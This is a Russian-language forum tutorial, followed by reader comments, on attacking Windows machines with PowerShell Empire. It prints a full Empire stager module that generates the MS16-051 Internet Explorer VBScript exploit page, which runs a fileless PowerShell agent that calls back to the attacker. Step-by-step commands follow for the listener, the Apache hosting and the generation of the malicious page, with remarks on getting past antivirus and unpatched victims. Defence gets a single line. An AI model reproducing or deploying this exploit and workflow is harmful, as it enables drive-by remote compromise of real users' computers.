Статья PowerShell Empire WebGUI и примеры использования

Приветствую читателей Сodeby.net! Это моя первая статья, надеюсь она Вам понравится. Статья состоит из копипасты и личного опыта использования.

Для начала, ознакомьтесь с обзорной статьей от @~~DarkNode~~ Знакомство с PowerShell Empire Framework . Вкратце, PowerShell Empire инструмент для пост-эксплуатации атакованной системы. Она написана на python и powershell и отлично работает на linux.

В этой статье я хочу показать пару векторов атаки, а также использование вместе с web-gui для управления агентами. Начнем!

Статью я хочу разделить на 3 части, т.к. она получилась громоздкая:
  1. Вектор атаки - IE9-11.
  2. Вектор атаки Fuzzbunch (MS17-010)
  3. Web-GUI для PowerShell Empire
1. Вектор атаки - IE9-11.
Певый вектор атаки использует уязвимость (так же известную как vbscript_godmode). Жертва переходит на специально модифицированную страницу, используя браузер Internet Explorer 9-11, в случае успеха, powershell запустит агента и создаст подключение к Empire. При этом ничего не будет записано на диск.

Само собой, уязвимость была устранена в обновлении безопасности . Но кто ставит эти обновления? ;)

1. Для начала нам понадобится адаптировать vbscript_godmode для использования в качестве модуля PowerShell Empire: (автор модуля Jake Rogers )
Код:
from lib.common import helpers

class Stager:
 
   def __init__(self, mainMenu, params = []):
 
       self.info = {
           'Name': 'MS16-051 IE RCE',
           'Author': ['www.cgsec.co.uk'],
               'Description': ('Leverages MS16-051 to execute powershell in unpatched browsers. This is a file-less vector which works on IE9/10/11 and all versions of Windows'),
               'Comments': ['Target will have to open link with vulnerable version of IE.']
               }

       #any options needed by the stager, settable during runtime
       self.options = {
       #format:
       #value_name: {description, required, default_value}
               'Listener': {
                   'Description': 'Listener to generate stager for.',
                   'Required': True,
                   'Value': ''
               },
           'StagerRetries': {
               'Description': 'Times for the stager to retry connecting.',
               'Required': False,
               'Value': '0'
               },
               'OutFile': {
               'Description': 'File to output HTML to, otherwise displayed on the screen.',
               'Required': True,
               'Value': ''
               },
               'Base64': {
               'Description': 'Switch. Base64 encode the powershell output.',
               'Required': True,
               'Value': 'True'
               },
               'UserAgent': {
               'Description': 'User-agent string to use for the staging request (default, none, or other).',
               'Required': False,
               'Value': 'default'
               },
               'Proxy': {
               'Description': 'Proxy to use for request (default, none, or other).',
               'Required': False,
               'Value': 'default'
               },
               'ProxyCreds': {
               'Description': 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
               'Required': False,
               'Value': 'default'
           }
       }

       #save off a copy of the mainMenu object to access external functionality
       # like listeners / agent handlers / etc.
       self.mainMenu = mainMenu

       for param in params:
           #parameter format is[Name, Value]
           option, value = param
           if option in self.options:
                   self.options[option]['Value'] = value


   def generate(self):
 
       #extract all of our options
       listenerName = self.options['Listener']['Value']
       base64 = self.options['Base64']['Value']
       userAgent = self.options['UserAgent']['Value']
       proxy = self.options['Proxy']['Value']
       proxyCreds = self.options['ProxyCreds']['Value']
       stagerRetries = self.options['StagerRetries']['Value']

       encode = False
       if base64.lower() == "true":
               encode = True

       # generate the launcher code
       launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode = encode, userAgent = userAgent, proxy = proxy, proxyCreds = proxyCreds, stagerRetries = stagerRetries)
 
       if launcher == "":
               print helpers.color("[!] Error in launcher command generation.")
           return ""
       else :
           code = "<html>\n"
           code += "<head>\n"
           code += "<meta http-equiv=\"x-ua-compatible\" content=\"IE=10\">\n"
           code += "</head>\n"
           code += "<body>\n"
           code += "   <script type=\"text/vbscript\">\n"
           code += "       Dim aw\n"
           code += "       Dim plunge(32)\n"
           code += "       Dim y(32)\n"
           code += "       prefix = \"%u4141%u4141\"\n"
           code += "       d = prefix & \"%u0016%u4141%u4141%u4141%u4242%u4242\"\n"
           code += "       b = String(64000, \"D\")\n"
           code += "       c = d & b\n"
           code += "       x = UnEscape(c)\n"
           code += "      \n"
           code += "       Class ArrayWrapper\n"
           code += "           Dim A()\n"
           code += "           Private Sub Class_Initialize\n"
           code += "               ReDim Preserve A(1, 2000)\n"
           code += "           End Sub\n"
           code += "          \n"
           code += "           Public Sub Resize()\n"
           code += "               ReDim Preserve A(1, 1)\n"
           code += "           End Sub\n"
           code += "       End Class\n"
           code += "      \n"
           code += "       Class Dummy\n"
           code += "       End Class\n"
           code += "      \n"
           code += "       Function getAddr (arg1, s)\n"
           code += "           aw = Null\n"
           code += "           Set aw = New ArrayWrapper\n"
           code += "      \n"
           code += "            For i = 0 To 32\n"
           code += "               Set plunge(i) = s\n"
           code += "           Next\n"
           code += "      \n"
           code += "            Set aw.A(arg1, 2) = s\n"
           code += "       \n"
           code += "            Dim addr\n"
           code += "            Dim i\n"
           code += "            For i = 0 To 31\n"
           code += "                If Asc(Mid(y(i), 3, 1)) = VarType(s) Then\n"
           code += "                    addr = strToInt(Mid(y(i), 3 + 4, 2))\n"
           code += "                End If\n"
           code += "                y(i) = Null\n"
           code += "            Next\n"
           code += "       \n"
           code += "            If addr = Null Then\n"
           code += "                document.location.href = document.location.href\n"
           code += "                Return\n"
           code += "            End If\n"
           code += "            getAddr = addr\n"
           code += "        End Function\n"
           code += "       \n"
           code += "    Function leakMem (arg1, addr)\n"
           code += "        d = prefix & \"%u0008%u4141%u4141%u4141\"\n"
           code += "        c = d & intToStr(addr) & b\n"
           code += "        x = UnEscape(c)\n"
           code += "       \n"
           code += "        aw = Null\n"
           code += "        Set aw = New ArrayWrapper\n"
           code += "       \n"
           code += "        Dim o\n"
           code += "        o = aw.A(arg1, 2)\n"
           code += "       \n"
           code += "        leakMem = o\n"
           code += "    End Function\n"
           code += "  \n"
           code += "    Sub overwrite (arg1, addr)\n"
           code += "        d = prefix & \"%u400C%u0000%u0000%u0000\"\n"
           code += "        c = d & intToStr(addr) & b\n"
           code += "        x = UnEscape(c)\n"
           code += "  \n"
           code += "        aw = Null\n"
           code += "        Set aw = New ArrayWrapper\n"
           code += "  \n"
           code += "  \n"
           code += "        aw.A(arg1, 2) = CSng(0)\n"
           code += "  End Sub\n"
           code += "  \n"
           code += "    Function exploit (arg1)\n"
           code += "        Dim addr\n"
           code += "        Dim csession\n"
           code += "       Dim olescript\n"
           code += "        Dim mem\n"
           code += "  \n"
           code += "  \n"
           code += "        Set dm = New Dummy\n"
           code += "  \n"
           code += "        addr = getAddr(arg1, dm)\n"
           code += "  \n"
           code += "        mem = leakMem(arg1, addr + 8)\n"
           code += "        csession = strToInt(Mid(mem, 3, 2))\n"
           code += "  \n"
           code += "        mem = leakMem(arg1, csession + 4)\n"
           code += "        olescript = strToInt(Mid(mem, 1, 2))\n"
           code += "        overwrite arg1, olescript + &H174\n"
           code += "  Set Object = CreateObject(\"Wscript.Shell\")\n"
           code += "  Object.run(\""
           code += launcher + "\")\n"
           code += "   End Function\n"
           code += "  \n"
           code += "  Function triggerBug\n"
           code += "        aw.Resize()\n"
           code += "        Dim i\n"
           code += "        For i = 0 To 32\n"
           code += "        ' 24000x2 + 6 = 48006 bytes\n"
           code += "        y(i) = Mid(x, 1, 24000)\n"
           code += "        Next\n"
           code += "  End Function\n"
           code += "  </script>\n"
           code += "  \n"
           code += "  <script type=\"text/javascript\">\n"
           code += "        function strToInt(s)\n"
           code += "        {\n"
           code += "            return s.charCodeAt(0) | (s.charCodeAt(1) << 16);\n"
           code += "        }\n"
           code += "        function intToStr(x)\n"
           code += "        {\n"
           code += "            return String.fromCharCode(x & 0xffff) + String.fromCharCode(x >> 16);\n"
           code += "        }\n"
           code += "        var o;\n"
           code += "        o = {\"valueOf\": function () {\n"
           code += "            triggerBug();\n"
           code += "            return 1;\n"
           code += "            }};\n"
           code += "        setTimeout(function() {exploit(o);}, 50);\n"
           code += "  </script>\n"
           code += "</body>\n"
           code += "</html>"
       return code
[/B]
Сохраняем его под именем ms16.py и копируем в Empire-master/lib/stagers

После этого нам нужно запустить основной модуль Empire, если ошибок в коде нет, то он появится в разделе usestagers.

2. запускаем Empire из установленной директории:

Код:
./empire
Выделение_001.png


3. теперь нам нужно создать новый listener
(который будет ждать подключение от агентов)

empire_html_002.png


Если хотим использовать https соединение для обмена данными , нужно указать сертификат в параметре set CertPath. , если нам это не нужно, оставим поле пустым.

Запускаем настроенный listener командой
Код:
run
4.теперь нужно запустить сервер на котором будет лежать наша html страница. ( я буду использовать apache2):
Код:
service apache2 start
5. Генерируем вредоносный html. Для этого выбираем модуль ms16:
Код:
usestager ms16
выбираем listener с именем, указанным в пункте 3:
Код:
set Listener MyEmpire
указываем путь к html на нашем сервере:
Код:
set OutFile /var/www/html/index.html
запускаем:
Код:
execute
Теперь когда жертва посетит созданную страницу мы получим сессию.

empire_html_003.png


На тестируемой системе Win7 x86 не было установлено обновлений безопасности, но был установлен антивирус Avira с последними обновлениями.

Антивирус грязно выругался в сторону нашей станицы, НО! Сессию мы получили:

empire_html_004.png


Теперь мы можем переименовать агента с помощью команды rename (можно использовать tab для автоподстановки)

И начать взаимодейсвие с ним, с помощью команды interactive

empire_html_005.png


Например изучить информацию о системе командой info:

empire_html_006.png


Защита: установить обновления безопасности.

PS: ps16.py добавил во вложения.

Перейти к часть 2 или часть 3
 

Вложения

  • ms16.zip
    2,2 КБ · Просмотры: 307
Последнее редактирование модератором:
D

Darius

Оооочень годный контент, спасибо за проделанную работу!
 
  • Нравится
Реакции: Dmitry88
I

Inject0r

интересно, только с версией империи 2.0 предложенный userstager не работает, его нужно допиливать
 
D

Dmitry88

интересно, только с версией империи 2.0 предложенный userstager не работает, его нужно допиливать
там с версией 2.0 названия опций \ стейжеров некоторых поменялись, но в целом все понятно. + есть документация...
меня поначалу тоже в тупик поставило, но есть табуляция и доки ;)
 
N

nerfy

там с версией 2.0 названия опций \ стейжеров некоторых поменялись, но в целом все понятно. + есть документация...
меня поначалу тоже в тупик поставило, но есть табуляция и доки ;)
можно по подробнее
 
D

Dmitry88

можно по подробнее
А что подробнее?

Программа поддерживает табуляцию, ввели пару начальных символов, тыкнули ТАВ , посмотрели доступные варианты команд. Просто некоторые элементы поменяли названия, но сути это не меняет.
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!